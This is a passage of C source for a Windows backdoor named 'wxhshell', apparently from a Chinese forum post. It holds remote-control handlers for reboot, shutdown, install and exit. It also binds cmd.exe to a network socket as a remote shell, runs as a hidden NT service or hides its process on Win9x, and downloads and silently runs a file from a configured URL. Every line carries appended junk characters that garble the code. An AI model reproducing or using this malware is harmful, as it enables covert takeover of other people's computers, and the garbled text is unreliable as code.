      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Wi;wu*  
    break; )Bz2-|\  
  } /5**2Kgv1  
  // 安装 J&hzr t  
  case 'i': { a9f!f %9  
    if(Install()) AiF'*!1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \r.{Ru  
    else 0fOx&"UAB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DfPC@` k  
    break; ?cyBF*o  
    } b-/8R|Mem  
  // 卸载 |qOoL*z  
  case 'r': { E*B6k!:  
    if(Uninstall()) BB$(0mM^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4+tKg*|  
    else ^X?D4a|;#g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uT Z#85L `  
    break;  c6f=r  
    } ^i"~6QYE  
  // 显示 wxhshell 所在路径 yG v7^d  
  case 'p': { 5YV3pFz$)  
    char svExeFile[MAX_PATH]; Q<c{$o  
    strcpy(svExeFile,"\n\r"); SlaHhq3  
      strcat(svExeFile,ExeFile); pYRqV  
        send(wsh,svExeFile,strlen(svExeFile),0); `d,v  
    break; *UerLpf  
    } W{El^')F  
  // 重启 ^Rpy5/d  
  case 'b': { 4uX|2nJ2!;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w=;Jj7}L  
    if(Boot(REBOOT)) %&Fsk]T%:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z+5ZUS2~&  
    else { 7A,lQh  
    closesocket(wsh); xs}3=&c(  
    ExitThread(0); If*+yr|  
    } )%zOq:{\5  
    break; [^D~T  
    } #F^0uUjq  
  // 关机 sC}p_'L  
  case 'd': { 78MQoG<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v1j&oA}$.  
    if(Boot(SHUTDOWN)) >N bb0T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kq4ii`zi8  
    else { 8mc0(Z@  
    closesocket(wsh); dSP~R  
    ExitThread(0); K*/X{3J;  
    } ~+)sL1lx  
    break; + g*s%^(E  
    } <Pnz$nH:e  
  // 获取shell Sb|9U8h  
  case 's': { <E&8g[x6  
    CmdShell(wsh); $sxm MP  
    closesocket(wsh); [Yyb)Qf  
    ExitThread(0); vVy X[ZZ  
    break; p"dK,A5#)  
  } 0XzrzT"&  
  // 退出 O;6am++M@  
  case 'x': { qib4DT$v-6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _!ITCkBj  
    CloseIt(wsh); />dH\KvN  
    break; u}0U!  
    } |y%M";MI  
  // 离开 [-p?gyl  
  case 'q': { = }!4%.$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); IQ] tcSQl  
    closesocket(wsh); sy(8-zbI  
    WSACleanup(); !uc"|S?  
    exit(1); K\VL[HP-  
    break; v;ZIqn"  
        } sQ aP:@  
  } X4$86  
  } 1 k\~%  
uLq%Nu  
  // 提示信息 v?L`aj1ox  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %2ZWSQD  
} [dIlt"2fV  
  } *RllKPY)  
GE!fh1[[u  
  return; q(s&2|  
} W }  
-L6V)aK&  
// shell模块句柄 ) OE!vA  
int CmdShell(SOCKET sock) r^ Mu`*x*  
{ JW2~ G!@  
STARTUPINFO si; ]w5j?h"b  
ZeroMemory(&si,sizeof(si)); _qp^+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VSDG_:!K  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JBMJR  
PROCESS_INFORMATION ProcessInfo; "V3f"J?  
char cmdline[]="cmd"; wgcKeTD9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -VafN   
  return 0; \(4kEB2s$  
} ;56mkP  
"~,3gNTzV  
// 自身启动模式 %SC%#_7  
int StartFromService(void) 1$RUhxT  
{ ;8iK];^  
typedef struct GS qt:<Qs  
{ V+>.Gf  
  DWORD ExitStatus; pRc<U^Z.h  
  DWORD PebBaseAddress; =%ry-n G  
  DWORD AffinityMask; )2&y;{]  
  DWORD BasePriority; 6483v'  
  ULONG UniqueProcessId; caD|*.b  
  ULONG InheritedFromUniqueProcessId; f}ES8 Hh[  
}   PROCESS_BASIC_INFORMATION; +2 x|j>  
:p0<AU47  
PROCNTQSIP NtQueryInformationProcess; /s[D[:P_  
1MYA/l$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w(cl,W/w  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cz.,QIt_  
=g^k$ Rc  
  HANDLE             hProcess; \Pt_5.bTs[  
  PROCESS_BASIC_INFORMATION pbi; $/|2d4O:{  
'nP;IuMP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); PlC8&$   
  if(NULL == hInst ) return 0; p;P cD  
BW{&A&j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Uy;e5<<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U%4 s@{7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ATkx_1]KM-  
)9~-^V0A^>  
  if (!NtQueryInformationProcess) return 0; t_NnQ4)=  
vE$n0bL2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >pj)va[Q  
  if(!hProcess) return 0; <F&53N&Zc  
R.)w l  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @lu` oyM  
S*Hv2sl  
  CloseHandle(hProcess); KlSg0s  
)2g-{cYv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R$M>[Kjn  
if(hProcess==NULL) return 0; 3c[< #] 8S  
-,pw[R  
HMODULE hMod; ! +{$dB>a  
char procName[255]; hNUkaP  
unsigned long cbNeeded; 0oNy  
h$_5)d~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); oBI@.&tG}  
5$<Ozkj(  
  CloseHandle(hProcess); g?> V4WF  
T@gm0igW/;  
if(strstr(procName,"services")) return 1; // 以服务启动  Jknit  
bc%N !d  
  return 0; // 注册表启动 c?7 Wjy  
} OqlP_^Zz7p  
BQF7S<O+  
// 主模块 TBu[3X%  
int StartWxhshell(LPSTR lpCmdLine) [e?vqm .  
{ y#?AW`|  
  SOCKET wsl; 6[S-%|f  
BOOL val=TRUE; |L%d^m  
  int port=0; M0Vs9K=  
  struct sockaddr_in door; Ns5'K^  
S E0&CV4  
  if(wscfg.ws_autoins) Install(); ^M7pCetjdW  
AB[#  
port=atoi(lpCmdLine); K/IG6s;Xj  
 zPW_  
if(port<=0) port=wscfg.ws_port; "Wn8}T*  
)I(2t 6i  
  WSADATA data; &p83X  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w[hT,$n  
OTV$8{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I*OJPFZ^4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); QNxY`  
  door.sin_family = AF_INET;  Mcm%G#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W*.6'u)9  
  door.sin_port = htons(port); s%Irh;Bs  
344E4F"ph  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~pG,|\9  
closesocket(wsl); o@@, }  
return 1; %}1v-z  
} 4#Id0['  
gf^XqTLs  
  if(listen(wsl,2) == INVALID_SOCKET) { <)9dTOdd  
closesocket(wsl); 3Ued>8Gv  
return 1; YAJr@v+Ls  
} uraT$Q}  
  Wxhshell(wsl); xQ~N1Y2W  
  WSACleanup(); 4>}qdR1L4  
j5~nLo2  
return 0; apw/nhQ.[  
|]+PDc%  
} ^J?y mo$>0  
[a!*m<  
// 以NT服务方式启动 z!>ml3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Rr"D)|Y;C(  
{ *z6m644H  
DWORD   status = 0; $4u8"ne)  
  DWORD   specificError = 0xfffffff; 1`v$R0 `!  
fYUbr"Oe  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I`4k5KB;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m'YYkq(5%Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B0dv_'L}L  
  serviceStatus.dwWin32ExitCode     = 0; X(dHh O  
  serviceStatus.dwServiceSpecificExitCode = 0; 94b* !Z  
  serviceStatus.dwCheckPoint       = 0; {~{</ g/  
  serviceStatus.dwWaitHint       = 0; C)R#Om  
P?$Iht.^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); EU4j'1!&g<  
  if (hServiceStatusHandle==0) return; .g52p+Z#  
]JvZ{fA%*  
status = GetLastError(); *Y<1KXFU  
  if (status!=NO_ERROR) _>4Qh#6K  
{ @zi_@B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $i;_yTht  
    serviceStatus.dwCheckPoint       = 0; x A"V!8C  
    serviceStatus.dwWaitHint       = 0; )Oix$B!-  
    serviceStatus.dwWin32ExitCode     = status; D9;s%  
    serviceStatus.dwServiceSpecificExitCode = specificError; bXRSKp[$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >@uFye$  
    return; B0$.oavC  
  } k.Q4oyei  
6y   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a n,$Z,G#K  
  serviceStatus.dwCheckPoint       = 0; _&}z+(Ug  
  serviceStatus.dwWaitHint       = 0; <nbc RO.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G[ gfD\  
} w .+B h  
|jJ9dTD8/  
// 处理NT服务事件,比如:启动、停止 ? H7?>ZE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) sQgJ`+Y8_  
{ LypBS]r u  
switch(fdwControl) 6'6,ySo]  
{ t# <(Q  
case SERVICE_CONTROL_STOP: yYn7y1B  
  serviceStatus.dwWin32ExitCode = 0; %w#8t#[,6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; c'&\[b(m  
  serviceStatus.dwCheckPoint   = 0; #B &%Y6E5  
  serviceStatus.dwWaitHint     = 0; E0aJ~A(Hv  
  { v%!'vhf_K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hwiftx  
  } #!R=h|  
  return; 3iBUIv  
case SERVICE_CONTROL_PAUSE: f}uW(:f  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]Yx&  
  break; BfdS3VrZ/  
case SERVICE_CONTROL_CONTINUE: Xn* >qm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8Y&_X0T|  
  break; se`^g ,]P  
case SERVICE_CONTROL_INTERROGATE: ql(~3/kA_  
  break; )bR`uV9<  
}; [6cf$FS9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jzAXC^FS  
} -@?4Tfl  
.BrYz:#A  
// 标准应用程序主函数 2 3*OuY  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NkY7Hg0  
{ B> V)6\   
w*krPaT3  
// 获取操作系统版本 N`rz>6,k1  
OsIsNt=GetOsVer(); 6<{XwmM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); MoMxKmI  
WI\jm&H r  
  // 从命令行安装 _8&a%?R@W  
  if(strpbrk(lpCmdLine,"iI")) Install(); EVW\Z 2N.  
2b^E8+r9  
  // 下载执行文件 v#b(0G  
if(wscfg.ws_downexe) { -Gd@baV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^+rI=c 0  
  WinExec(wscfg.ws_filenam,SW_HIDE); S- JD}+ 9  
} #?klVK&e/  
yLEA bd%+  
if(!OsIsNt) { Pm== m9  
// 如果时win9x,隐藏进程并且设置为注册表启动 9Z lfY1=  
HideProc(); $3yn-'o'A  
StartWxhshell(lpCmdLine); GyLp&aa  
} 0q_?<v_ 1  
else d0}P  
  if(StartFromService()) ak$D1#hY  
  // 以服务方式启动 /5"RedP<  
  StartServiceCtrlDispatcher(DispatchTable); NXSjN~aG2  
else (=t41-l  
  // 普通方式启动 |0xP'(  
  StartWxhshell(lpCmdLine); OXD*ZKi8  
ZfnJ&H'  
return 0; {q.|UCg[L  
}
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只看该作者 1 发表于: 2006-10-10
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